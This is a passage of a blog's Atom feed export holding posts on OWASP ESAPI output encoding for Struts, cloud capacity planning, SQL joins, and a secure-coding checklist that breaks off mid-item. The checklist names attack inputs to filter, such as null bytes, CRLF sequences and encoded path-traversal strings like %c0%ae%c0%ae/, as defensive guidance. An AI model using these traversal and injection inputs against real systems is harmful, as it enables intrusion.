Server side validation in struts can be done in a number of ways, within annotations or by using validation XML files.&amp;nbsp;One can create custom validators and add them to Validator.xml file.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;font-size: x-large; font-weight: bold;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: x-large; font-weight: bold;&quot;&gt;
References&lt;/div&gt;
&lt;/div&gt;
&lt;a href=&quot;http://www.nutshellsoftware.org/software/securing-struts-2-using-esapi-part-1-securing-outputs/&quot;&gt;http://www.nutshellsoftware.org/software/securing-struts-2-using-esapi-part-1-securing-outputs/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.nutshellsoftware.org/software/securing-struts-2-using-esapi-%E2%80%93-part-2-securing-inputs/&quot;&gt;http://www.nutshellsoftware.org/software/securing-struts-2-using-esapi-%E2%80%93-part-2-securing-inputs/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;programlisting&quot;&gt;&lt;h2&gt;



Appendix: Encodings&lt;/h2&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;HTML character references&lt;/b&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Numeric character references can be in decimal format, &amp;amp;#DD;, where DD is a variable number of decimal digits.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Similarly there is a hexadecimal format, &amp;amp;#xHHHH;, where HHHH is a variable number of hexadecimal digits. Hexadecimal character references are case-insensitive in HTML.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Characters in the hexadecimal ranges 00–08, 0B–0C, 0E–1F, 7F, and 80–9F cannot be used in an HTML document, not even by reference, so &quot;&amp;amp;#153;&quot;, for example, is not allowed. However, for backward compatibility with early HTML authors and browsers that ignored this restriction.&lt;/li&gt;
&lt;li&gt;Character entity references have the format &amp;amp;name; where &quot;name&quot; is a case-sensitive alphanumeric string. For example, &#39;?&#39; can also be encoded as &amp;amp;lambda; in an HTML document.&lt;/li&gt;
&lt;li&gt;If HTML attributes are not fully quoted, then you must entity encode whitespace like space, tab, and others&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;b&gt;Attribute Encoding&lt;/b&gt;
Attribute encoding replaces three characters that are not valid to use inside attribute values in HTML. Those characters are ampersand ‘&amp;amp;’, less-than ‘&amp;lt;’, and quotation marks ‘”’. The first two for the same reason you HTML encode to prevent HTML injection attacks and the last one because quotation marks are used to define the value of the attribute.
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;h2&gt;





Appendix: ESAPI API&lt;/h2&gt;
&lt;div&gt;
Note: ESAPI canonicalizes input before validation to prevent bypassing filters with encoded attacks. Failure to canonicalize input is a very common mistake when implementing validation schemes. Canonicalization is automatic when using the ESAPI Validator.
&lt;br /&gt;
&lt;h3&gt;





Important Methods &lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt; canonicalize()&lt;/li&gt;
&lt;/ul&gt;
Default canonicalize() method only decodes HTMLEntity, percent (URL) encoding, and JavaScript encoding. Although ESAPI is able to canonicalize multiple, mixed, or nested encoding, it&#39;s safer to not accept this stuff in the first place. In ESAPI, the default is &quot;strict&quot; mode that throws an IntrusionException if it receives anything not single-encoded with a single scheme. This is configurable in ESAPI.properties using the properties:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Encoder.AllowMultipleEncoding=false&lt;/li&gt;
&lt;li&gt;Encoder.AllowMixedEncoding=false&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;encodeForHTML&lt;/li&gt;
&lt;/ul&gt;
&amp;amp; --&amp;gt; &amp;amp;amp;
 &amp;lt; --&amp;gt; &amp;amp;lt;
 &amp;gt; --&amp;gt; &amp;amp;gt;
 &quot; --&amp;gt; &amp;amp;quot;
 &#39; --&amp;gt; &amp;amp;#x27;     &amp;amp;apos; is not recommended
 / --&amp;gt; &amp;amp;#x2F;     forward slash is included as it helps end an HTML entity
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;encodeForHTMLAttribute
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19px; text-align: -webkit-auto; white-space: normal;&quot;&gt;Except for alphanumeric characters, escape all characters with ASCII values less than 256 with the &amp;amp;#xHH; format (or a named entity if available) to prevent switching out of the attribute. The reason this rule is so broad is that developers frequently leave attributes unquoted. Properly quoted attributes can only be escaped with the corresponding quote.&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;encodeForJavaScript&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;background-color: white; font-family: &#39;Times New Roman&#39;; text-align: -webkit-auto; white-space: normal;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white; font-family: &#39;Times New Roman&#39;; text-align: -webkit-auto; white-space: normal;&quot;&gt;&lt;span style=&quot;font-family: sans-serif; font-size: 13px; line-height: 19px;&quot;&gt;Except for alphanumeric characters, escape all characters less than 256 with the \xHH format to prevent switching out of the data value into the script context or into another attribute. DO NOT use any escaping shortcuts like \&quot; because the quote character may be matched by the HTML attribute parser which runs first. These escaping shortcuts are also susceptible to &quot;escape-the-escape&quot; attacks where the attacker sends \&quot; and the vulnerable code turns that into \\&quot; which enables the quote.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;background-color: white; font-family: &#39;Times New Roman&#39;; text-align: -webkit-auto; white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white; font-family: &#39;Times New Roman&#39;; text-align: -webkit-auto; white-space: normal;&quot;&gt;&lt;span style=&quot;font-family: sans-serif; font-size: 13px; line-height: 19px;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;background-color: white; font-family: &#39;Times New Roman&#39;; text-align: -webkit-auto; white-space: normal;&quot;&gt;
Encode data for insertion inside a data value or function argument in JavaScript. Including user data directly inside a script is quite dangerous. Great care must be taken to prevent including user data directly into script code itself, as no amount of encoding will prevent attacks there. Please note there are some JavaScript functions that can never safely receive untrusted data as input – even if the user input is encoded.&lt;/span&gt;

&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;encodeForCSS
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19px; text-align: -webkit-auto; white-space: normal;&quot;&gt;Except for alphanumeric characters, escape all characters with ASCII values less than 256 with the \HH escaping format. DO NOT use any escaping shortcuts like \&quot;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;encodeForXPath&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white; font-family: &#39;Times New Roman&#39;; text-align: -webkit-auto; white-space: normal;&quot;&gt;Encode data for use in an XPath query. NB: The reference implementation encodes almost everything and may over-encode. The difficulty with XPath encoding is that XPath has no built in mechanism for escaping characters. It is possible to use XQuery in a parameterized way to prevent injection. For more information, refer to&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.ibm.com/developerworks/xml/library/x-xpathinjection.html&quot; style=&quot;background-color: white; font-family: &#39;Times New Roman&#39;; text-align: -webkit-auto; white-space: normal;&quot;&gt;this article&lt;/a&gt;&lt;span style=&quot;background-color: white; font-family: &#39;Times New Roman&#39;; text-align: -webkit-auto; white-space: normal;&quot;&gt;&amp;nbsp;which specifies the following list of characters as the most dangerous: ^&amp;amp;&quot;*&#39;;&amp;lt;&amp;gt;().&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518.pdf&quot; style=&quot;background-color: white; font-family: &#39;Times New Roman&#39;; text-align: -webkit-auto; white-space: normal;&quot;&gt;This paper&lt;/a&gt;&lt;span style=&quot;background-color: white; font-family: &#39;Times New Roman&#39;; text-align: -webkit-auto; white-space: normal;&quot;&gt;&amp;nbsp;suggests disallowing &#39; and &quot; in queries.&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;encodeForURL&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white; font-family: &#39;Times New Roman&#39;; text-align: -webkit-auto; white-space: normal;&quot;&gt;Encode for use in a URL. This method performs&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Percent-encoding&quot; style=&quot;background-color: white; font-family: &#39;Times New Roman&#39;; text-align: -webkit-auto; white-space: normal;&quot;&gt;URL encoding&lt;/a&gt;&lt;span style=&quot;background-color: white; font-family: &#39;Times New Roman&#39;; text-align: -webkit-auto; white-space: normal;&quot;&gt;&amp;nbsp;on the entire string.&lt;/span&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19px; text-align: -webkit-auto; white-space: normal;&quot;&gt;Except for alphanumeric characters, escape all characters with ASCII values less than 256 with the&amp;nbsp;%HH escaping format.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19px; text-align: -webkit-auto; white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;/pre&gt;
&lt;pre class=&quot;programlisting&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;
&lt;/b&gt;&lt;/span&gt;&lt;/pre&gt;
References:&lt;br /&gt;
&lt;a href=&quot;http://yet-another-dev.blogspot.com.au/&quot;&gt;http://yet-another-dev.blogspot.com.au/&lt;/a&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.webadminblog.com/index.php/2009/11/12/the-esapi-web-application-firewall/&quot;&gt;http://www.webadminblog.com/index.php/2009/11/12/the-esapi-web-application-firewall/&lt;/a&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/8952574687364804879/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2013/06/security-owasp-esapi.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/8952574687364804879'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/8952574687364804879'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2013/06/security-owasp-esapi.html' title='Security: OWASP ESAPI'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-8410123784618908091</id><published>2013-05-19T17:44:00.000-07:00</published><updated>2013-05-19T17:44:00.891-07:00</updated><title type='text'>Cloud computing - capacity planning</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
One of the problems of traditional capacity management is that resources are often underutilized. Not to mention the fact that it is very slow and sometimes painful process to get access to new capacity and it almost impossible to voluntarily relinquish excess capacity. Never ignore the human factor in cloud and capacity planning because often times that is the difference between success in the cloud or failure and disillusionment.&lt;br /&gt;
&lt;br /&gt;
Cloud Computing provides the illusion of infinite computing resources available on-demand&amp;nbsp;but you need to manage budgets. so capacity planning is still very important.&lt;br /&gt;
&lt;br /&gt;
Cloud computing cannot magically solve business problems. I guess it was Etrade that somehow&lt;br /&gt;
discovered that one of their competitor was charging money less than the Etrades transaction&amp;nbsp;cost. When an organization is up against such core issues, cloud computing is not going to solve them but instead&amp;nbsp;exacerbate&amp;nbsp;them. What we need is an effective analysis detailing the reasons for the current state of things and then attempting to figure out not if but how cloud computing can solve this.&lt;br /&gt;
&lt;br /&gt;
Since cloud resources could be virtualized, Capacity planning, first includes the ability to measure in cloud terms and not be confused about the units. For instance, CPU is typically standardized at 1 Ghz, and is considered 1 CPU.&lt;br /&gt;
&lt;br /&gt;
It is important to consider the maximum &quot;single&quot; VM request that can be fulfilled. for instance can we provision a VM with 24 CPUs and not run against the actual physical CPU limits? The same applies to memory as well.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
In cloud computing it is easier to relinquish control over resources because one knows that they can &lt;i&gt;quickly &lt;/i&gt;get it again.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
A few of the important things in capacity planning is understanding:&lt;/div&gt;
&lt;div&gt;
- Current capacity&lt;/div&gt;
&lt;div&gt;
- Current utilization&lt;/div&gt;
&lt;div&gt;
- Future utilization&lt;/div&gt;
&lt;div&gt;
- Trend and spikes&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; - can we handle the temporary or seasonal &quot;spikes&quot; in demand and also handle the general up or down trend.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The above considerations help in answering the questions around ROI (return on investment).&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;But how do I estimate?&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
There are tools available including one from IBM; IBM infrastructure planner for cloud computing.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/8410123784618908091/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2013/05/cloud-computing-capacity-planning.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/8410123784618908091'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/8410123784618908091'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2013/05/cloud-computing-capacity-planning.html' title='Cloud computing - capacity planning'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-3782967825598868498</id><published>2013-04-20T13:47:00.000-07:00</published><updated>2013-04-20T13:47:00.434-07:00</updated><title type='text'>SQL Joins</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
SQL joins summarized:&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


INNER JOIN&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM T1&amp;nbsp;INNER JOIN T2&amp;nbsp;ON T1.id = T2.id&lt;br /&gt;
&lt;br /&gt;
id &amp;nbsp;name &amp;nbsp; &amp;nbsp; &amp;nbsp; id &amp;nbsp; name&lt;br /&gt;
-- &amp;nbsp;---- &amp;nbsp; &amp;nbsp; &amp;nbsp; -- &amp;nbsp; ----&lt;br /&gt;
1 &amp;nbsp; Aa &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; &amp;nbsp;Aa&lt;br /&gt;
3 &amp;nbsp; Bb &amp;nbsp; &amp;nbsp; &amp;nbsp;4 &amp;nbsp; &amp;nbsp;Bb&lt;br /&gt;
&lt;br /&gt;
Inner join produces only the set of records that match in both T1 and T2.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


FULL OUTER JOIN&lt;/h3&gt;
SELECT * FROM T1&lt;br /&gt;
FULL OUTER JOIN T2&lt;br /&gt;
ON T1.id = T2.id&lt;br /&gt;
&lt;br /&gt;
id &amp;nbsp; &amp;nbsp;name &amp;nbsp; &amp;nbsp; &amp;nbsp; id &amp;nbsp; &amp;nbsp;name&lt;br /&gt;
-- &amp;nbsp; &amp;nbsp;---- &amp;nbsp; &amp;nbsp; &amp;nbsp; -- &amp;nbsp; &amp;nbsp;----&lt;br /&gt;
1 &amp;nbsp; &amp;nbsp; a &amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;2 &amp;nbsp; &amp;nbsp; a&lt;br /&gt;
2 &amp;nbsp; &amp;nbsp; b &amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;null &amp;nbsp;null&lt;br /&gt;
3 &amp;nbsp; &amp;nbsp; c &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;4 &amp;nbsp; &amp;nbsp; c&lt;br /&gt;
4 &amp;nbsp; &amp;nbsp; d &amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;null &amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;null&lt;br /&gt;
null &amp;nbsp;null &amp;nbsp; &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; &amp;nbsp; e &amp;nbsp; &amp;nbsp; &lt;br /&gt;
null &amp;nbsp;null &amp;nbsp; &amp;nbsp; &amp;nbsp; 3 &amp;nbsp; &amp;nbsp; f&lt;br /&gt;
&lt;br /&gt;
Full outer join produces the set of all records in T1 and T2, with matching records from both sides where available. If there is no match, the missing side will contain null.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


LEFT OUTER JOIN&lt;/h3&gt;
SELECT * FROM T1&lt;br /&gt;
LEFT OUTER JOIN T2&lt;br /&gt;
ON T1.id = T2.id&lt;br /&gt;
&lt;br /&gt;
id &amp;nbsp;name &amp;nbsp; &amp;nbsp; &amp;nbsp; id &amp;nbsp; &amp;nbsp;name&lt;br /&gt;
-- &amp;nbsp;---- &amp;nbsp; &amp;nbsp; &amp;nbsp; -- &amp;nbsp; &amp;nbsp;----&lt;br /&gt;
1 &amp;nbsp; P &amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;2 &amp;nbsp; &amp;nbsp; P&lt;br /&gt;
2 &amp;nbsp; M &amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;null &amp;nbsp;null&lt;br /&gt;
3 &amp;nbsp; N &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;4 &amp;nbsp; &amp;nbsp; N&lt;br /&gt;
4 &amp;nbsp; S&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;null &amp;nbsp;null&lt;br /&gt;
&lt;br /&gt;
Left outer join produces a complete set of records from T1, with the matching records (where available) in T2. If there is no match, the right side will contain null.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/3782967825598868498/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2013/04/sql-joins.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/3782967825598868498'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/3782967825598868498'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2013/04/sql-joins.html' title='SQL Joins'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-8229253276545139566</id><published>2013-04-06T21:11:00.000-07:00</published><updated>2013-04-06T21:11:00.143-07:00</updated><title type='text'>Security: Secure Coding practices</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
We need to understand that client side controls like client based input&amp;nbsp;validation, hidden fields and interface controls provide little if any&amp;nbsp;security benefit.&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&amp;nbsp;An attacker can use tools like client side web proxies (e.g. OWASP WebScarab, Burp) or&amp;nbsp;network packet capture tools (e.g., WireShark) to analyze application traffic and submit custom built&amp;nbsp;requests, bypassing the interface all together.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Additionally, Flash, Java Applets and other client side objects&amp;nbsp;can be decompiled and analyzed for flaws&lt;br /&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
Software security flaws can be introduced at any stage of the software development lifecycle, including:&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Not identifying security requirements up front&lt;/div&gt;
&lt;div&gt;
 Creating conceptual designs that have logic errors&lt;/div&gt;
&lt;div&gt;
 Using poor coding practices&lt;/div&gt;
&lt;div&gt;
 Deploying the software improperly&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Introducing flaws during maintenance or updating&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-size: x-large;&quot;&gt;Secure Coding Practices Checklist&lt;/span&gt;&lt;/h2&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-size: large;&quot;&gt;Input Validation:&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
 Conduct all data validation on a trusted system (e.g., The server) &amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Identify all data sources and validate all data from untrusted&amp;nbsp;sources (e.g., Databases, file streams, etc.)&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 There should be a centralized input validation&lt;/div&gt;
&lt;div&gt;
 proper character sets, such as UTF-8, for all sources of input&lt;/div&gt;
&lt;div&gt;
 Encode data to a common character set before validating (Canonicalize)&lt;/div&gt;
&lt;div&gt;
 All validation failures should result in input rejection&lt;/div&gt;
&lt;div&gt;
 Determine if the system supports UTF-8 extended character sets and if so, validate after UTF-8&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
decoding is completed&lt;/div&gt;
&lt;div&gt;
 Validate all client provided data including all parameters, URLs and HTTP header&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
content (e.g. Cookie names and values). Be sure to include automated post backs from JavaScript,&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
Flash or other embedded code&lt;/div&gt;
&lt;div&gt;
 Verify that header values in both requests and responses contain only ASCII characters&lt;/div&gt;
&lt;div&gt;
 Validate data from redirects (An attacker may submit malicious content directly to the target of the&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
redirect, thus circumventing application logic and any validation performed before the redirect) &amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Validate for expected data types&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Validate data range&lt;/div&gt;
&lt;div&gt;
 Validate data length&lt;/div&gt;
&lt;div&gt;
 Validate all input against a &quot;white&quot; list of allowed characters, whenever possible&lt;/div&gt;
&lt;div&gt;
 If any potentially hazardous characters must be allowed as input, be sure that you implement&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
additional controls like output encoding, secure task specific APIs and accounting for the utilization&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
of that data throughout the application . Examples of common hazardous characters include:&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&amp;lt; &amp;gt; &quot; &#39; % ( ) &amp;amp; + \ \&#39; \&quot;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 If your standard validation routine cannot address the following inputs, then they should be checked&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
discretely&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp;o Check for null bytes ()&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp;o Check for new line characters (%0d, %0a, \r, \n)&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp;o Check for “dot-dot-slash&quot; (../ or ..\) path alterations characters. In cases where UTF-8 extended&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
character set encoding is supported, address alternate representation like: %c0%ae%c0%ae/&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
(Utilize canonicalization to address double encoding or other forms of obfuscation attacks)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-size: large;&quot;&gt;Output Encoding:&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
 Conduct all encoding on a trusted system (e.g., The server)&lt;/div&gt;
&lt;div&gt;
 Utilize a standard, tested routine for each type of outbound encoding&lt;/div&gt;
&lt;div&gt;
 Contextually output encode all data returned to the client that originated outside the application&#39;s trust&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
boundary. HTML entity encoding is one example, but does not work in all cases&lt;/div&gt;
&lt;div&gt;
 Encode all characters unless they are known to be safe for the intended interpreter&lt;/div&gt;
&lt;div&gt;
 Contextually sanitize all output of un-trusted data to queries for SQL, XML, and LDAP&lt;/div&gt;
&lt;div&gt;
 Sanitize all output of un-trusted data to operating system commandsNovember 2010&lt;/div&gt;
&lt;div&gt;
Version 2.0 6&lt;/div&gt;
&lt;div&gt;
Authentication and Password Management:&lt;/div&gt;
&lt;div&gt;
 Require authentication for all pages and resources, except those specifically intended to be public&lt;/div&gt;
&lt;div&gt;
 All authentication controls must be enforced on a trusted system (e.g., The server) &amp;nbsp;&lt;/div&gt;
&lt;div&gt;
 Establish and utilize standard, tested, authentication services whenever possible&lt;/div&gt;
&lt;div&gt;
 Use a centralized implementation for all authentication controls, including libraries that call external&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
authentication services&lt;/div&gt;
&lt;div&gt;
 Segregate authentication logic from the resource being requested and use redirection to and from the&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
centralized authentication control&lt;/div&gt;
&lt;div&gt;
 All authentication controls should fail securely&lt;/div&gt;
&lt;div&gt;
 All administrative and account management functions must be at least as secure as the primary&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
authentication mechanism&lt;/div&gt;
&lt;div&gt;
 If your application manages a credential store, it should ensure that only cryptographically strong oneway salted hashes of passwords are stored and that the table/file that stores the passwords and keys is&lt;/div&gt;
&lt;div&gt;
write-able only by the application. (Do not use the MD5 algorithm if it can be avoided)&lt;/div&gt;
&lt;div&gt;
 Password hashing must be implemented on a trusted system (e.g., The server).&lt;/div&gt;
&lt;div&gt;
 Validate the authentication data only on completion of all data input, especially for sequential&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
authentication implementations&lt;/div&gt;
&lt;div&gt;
 Authentication failure responses should not indicate which part of the authentication data was&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
incorrect. For example, instead of &quot;Invalid username&quot; or &quot;Invalid password&quot;, just use &quot;Invalid&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
username and/or password&quot; for both. Error responses must be truly identical in both display and&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
source code&lt;/div&gt;
&lt;div&gt;
 Utilize authentication for connections to external systems that involve sensitive information or&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
functions&lt;/div&gt;
&lt;div&gt;
 Authentication credentials for accessing services external to the application should be encrypted and&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
stored in a protected location on a trusted system (e.g., The server). The source code is NOT a secure&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
location&lt;/div&gt;
&lt;div&gt;
 Use only HTTP POST requests to transmit authentication credentials&lt;/div&gt;
&lt;div&gt;
 Only send non-temporary passwords over an encrypted connection or as encrypted data, such as in an&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
encrypted email. Temporary passwords associated with email resets may be an exception&lt;/div&gt;
&lt;div&gt;
 Enforce password complexity requirements established by policy or regulation. Authentication&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
credentials should be sufficient to withstand attacks that are typical of the threats in the deployed&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
environment. (e.g., requiring the use of alphabetic as well as numeric and/or special characters)&lt;/div&gt;
&lt;div&gt;
 Enforce password length requirements established by policy or regulation. Eight characters is&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
commonly used, but 16 is better or consider the use of multi-w ord pass phrases&lt;/div&gt;
&lt;div&gt;
 Password entry should be obscured on the user&#39;s screen. (e.g., on web forms use the input type&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
